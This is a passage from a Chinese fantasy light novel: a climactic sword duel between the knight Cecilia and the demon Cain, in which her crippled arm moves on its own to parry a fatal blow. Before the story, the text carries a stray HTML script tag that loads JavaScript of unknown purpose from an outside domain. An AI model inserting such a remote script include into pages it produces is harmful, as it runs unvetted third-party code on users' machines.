<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>

「（真神奇……今天内心平静得连我自己都很惊讶。）」

不用重新分析现况，也看得出战况极为不利。找不出半个明确的胜利要因。也没有什么战略或秘计。

明明身陷如此危机，为什么败北的预感不会直接转化为绝望？

她绝非小看了该隐。也不是自以为是自己人生中的主角，就盲信自己不会死去。不只是这场战斗，从大闹教会的时候开始，她就一直感觉死亡近在身边。不如说她早就做好了觉悟，觉得既然几乎与全世界为敌，自己迟早会在不久的将来迎接死亡。

不过，这不构成放弃小彻性命的理由。

赛西莉亚先是把剑插在地上，从怀里拿出月亮发饰。照常理而言，不应该在战斗中做出这种全身都是破绽，而且跳脱常轨的行为。但赛西莉亚仅仅是顺著自己的真心，把发饰别到头上。

该隐没有因看到她这么做，就不识相地发动攻击，不过还是以一副觉得无法理解的模样歪起头问：

「还真不像你的作风。你是拿出了什么用来当作王牌的魔法道具吗？」

「不，这是货真价实的一般发饰。」

「……原来如此。那么，你是面对必死的场面，就戴上了特别有感情的物品是吗？」

「这倒也不是。而且，老实说我根本连这个发饰是哪里来的都不知道。」

「？」

该隐对她投以彷佛想表达由衷无法理解，甚至还带有些怜悯的视线。

赛西莉亚轻轻仰望天空，望著云间的太阳回答：

「不过这样一来，我们一定就可以超越你。」

「我『们』？什么？你这话是什么意思？」

「谁知道？抱歉，其实连我自己都不太懂。」

听赛西莉亚苦笑著这么说，该隐不禁傻眼道：

「赛西莉亚?希维尔，你……有点变了呢。」

「看起来像失去冷静思维，身心都变得懦弱了一样，让你幻灭了吗？」

看到这种总是抱著难以理解的态度的人类，想必会如此吧。赛西莉亚有些自嘲地问，神情变得严肃的该隐却给她意料之外的回应。

「不，现在的你，恐怕是我至今见过最强的状态。」

说著，该隐在大剑后的双眼就对她露出锐利眼光。

赛西莉亚对该隐不显露任何大意，很有战士应有作风的应对表达敬意，同时自己也用右手重新举起剑。

「那也是我想说的。该隐，现在的你比之前显露野性的模样，还要强上许多。」

「这番话实在令人感到光荣。那么，我也得表现出不负你这份赞赏的身手才行。」

「还请手下留情。」

「呵，真爱说笑。」

……大概下一次交战，就会分出胜负。而且其中一方会受到致命伤。

彼此都没有余力顾虑对方的性命而手下留情。

其实赛西莉亚并不讨厌该隐这名魔人。不，她甚至觉得该隐值得尊敬。

不过，也因此必须在这时候全力应战。恐怕该隐也是一样。

「「…………」」

一段气氛紧绷的时间在两人之间流逝。

在树海某处传来撼地响声的那一瞬间──

──两人在同一时刻展开行动。

「「斩击波！」」

声音与动作完全同步，使人联想到弯月的气刃在两人中央交错。霎那间，现场刮起强烈暴风，在各处引发的细小风刃斩断了枝叶与草枝。

但两人在一片混乱的战场中，迅速采取下一波行动。

「喝啊啊啊啊！」「哼────！」

两人随著斩击波往前一跳，双方的剑身相互冲突。他们不顾刚才产生的风刃不断在彼此身上划出浅浅伤痕，展开一场激烈的刀剑交锋。

「唔……！」

该隐眼中难得显现动摇。他似乎完全无法理解自己竟然没办法靠蛮力压制用一条纤细手臂挥舞细剑的女骑士。

赛西莉亚看准他动摇的好机会，运用一气呵成的剑舞进攻。不过该隐没有好对付到光凭这样就击溃攻势。他仔细观察赛西莉亚的状况后，似乎从中了解到了什么，有些佩服地弯起嘴角。

「（被识破了是吗……）」

虽然被察觉也不会有什么大问题，但这下就无法期待对方的大意或过度提防了。

可赛西莉亚也没有多余心力为此失望。因为只要一松懈，自己的剑照理说会立刻屈服在该隐的蛮力之下。

「（简单来说就是斩击波的一种应用。把气力注入剑上，藉由释放气力缠绕剑身来补足不够的力气。不过……）」

视野出现短暂扭曲，差点昏厥过去。就算勉强不露出太大破绽撑过攻击，赛西莉亚的额头还是开始冒出冷汗。

「（当然没办法……撑太久！）」

虽说要单手跟该隐对打就只有这个方法，可这种状况下这么做实在过于勉强。这样下去，很可能在一分钟内精疲力尽。但急于分出胜负，必定走向毁灭。

「（至少再一个……如果能再找到一个定胜负的关键就……！）」

考虑到原本就屈居劣势，光现在能跟该隐打得不分上下就是个奇迹。不过光是这样，还赢不了他。

「哼──────────！」

「唔！」

该隐犀利强劲的一道剑闪砍中赛西莉亚的侧腹表面。赛西莉亚丝毫不顾自己受伤，挥剑划开了魔人的肩膀。而该隐也完全不理会那道绝不算浅的伤口，继续挥剑。

「啊啊啊啊啊啊啊啊！」「喝啊啊啊啊啊啊啊！」

双方都不退让半步的一阵剑戟风暴。

不论脸颊、手臂、脚上被划出多少道伤口，不到成功给予敌人致命一击的瞬间，两人就不会停手。

就在这场或许已经连勇者跟魔王都无法介入的壮烈死斗的最后──

攻势先瓦解的当然……是赛西莉亚。

缠在剑上的气出现些许乱流。该隐在这一霎那将赛西莉亚的细剑大幅敲到一旁，她虽然勉强没放开剑，身体却露出了破绽。

认定这是大好时机的该隐在大声叫喝之中将全身体重施加在大剑上，往她身上使出一记用尽浑身力量的斜劈。而且不晓得该隐是否在不透过「捕食」能力下，在这短短的一战中学习，他的剑注入了几乎要满溢出来的气，甚至散发出火焰。岂止是学习，还把赛西莉亚的王牌升华到更高境界，确实可谓必杀之刃。

「（玩完了……是吗……）」

这段极为短暂的时间中，赛西莉亚束手无策地凝视在无法回避的状态下逼近自己的终极一击。

出色得反倒令人著迷的一击。身为骑士，败在这种攻击之下，也是无怨无悔──

──就在她快要如此体悟的瞬间，缠绕在该隐身上的红炎，忽然转为一片深绿。但没有感觉到能量多寡跟质量上的变化。彷佛只有色素产生变化……

「！」

同时，脑海里掠过鲜明又莫名的画面。描绘鲜绿色湖畔的彩色玻璃；替赛西莉亚别上发饰的小彻。犹如被全世界背叛的深沉绝望，以及……燃烧般的火红太阳。

接著等赛西莉亚注意到的时候，心里已经冒出了一股强烈的感情。

「（别放弃！）」

赛西莉亚清楚睁开眼睛，盯著逼近自己的火焰之刃。火焰看起来不再呈现绿色。她不晓得究竟是怎么回事。要说有什么她能明确表达的，就是……

「（我……不能放弃我自己！）」

就算那是多么有损骑士形象。

就算那是多么丑陋的垂死挣扎。

就算那是多么违背教会的意志。

但是，如果能藉此救回对自己来说很重要的人──

「（我不能放弃自己……放弃我的正义。因为那正是……那种满脑子只有正义的女骑士，就是我──）」

她怀著决心，睁大双眼。

「（──赛西莉亚?希维尔！）」

然后，为了能够尽可能多活一秒而展开行动。这种状况下能做的事或许很少。不过，就算能做的事很少也无妨──就在她这么想的瞬间。

「？」

赛西莉亚发现自己早就肩膀残废的左手，已经动了起来。

就好像不是她自己在动，而是有人擅自操控她的手……动作之中甚至没有疼痛，只是静静地──却如同要绞尽最后的力量般勇敢地先动起来，随后──

──用护手部分硬是推开该隐的剑身。

「！」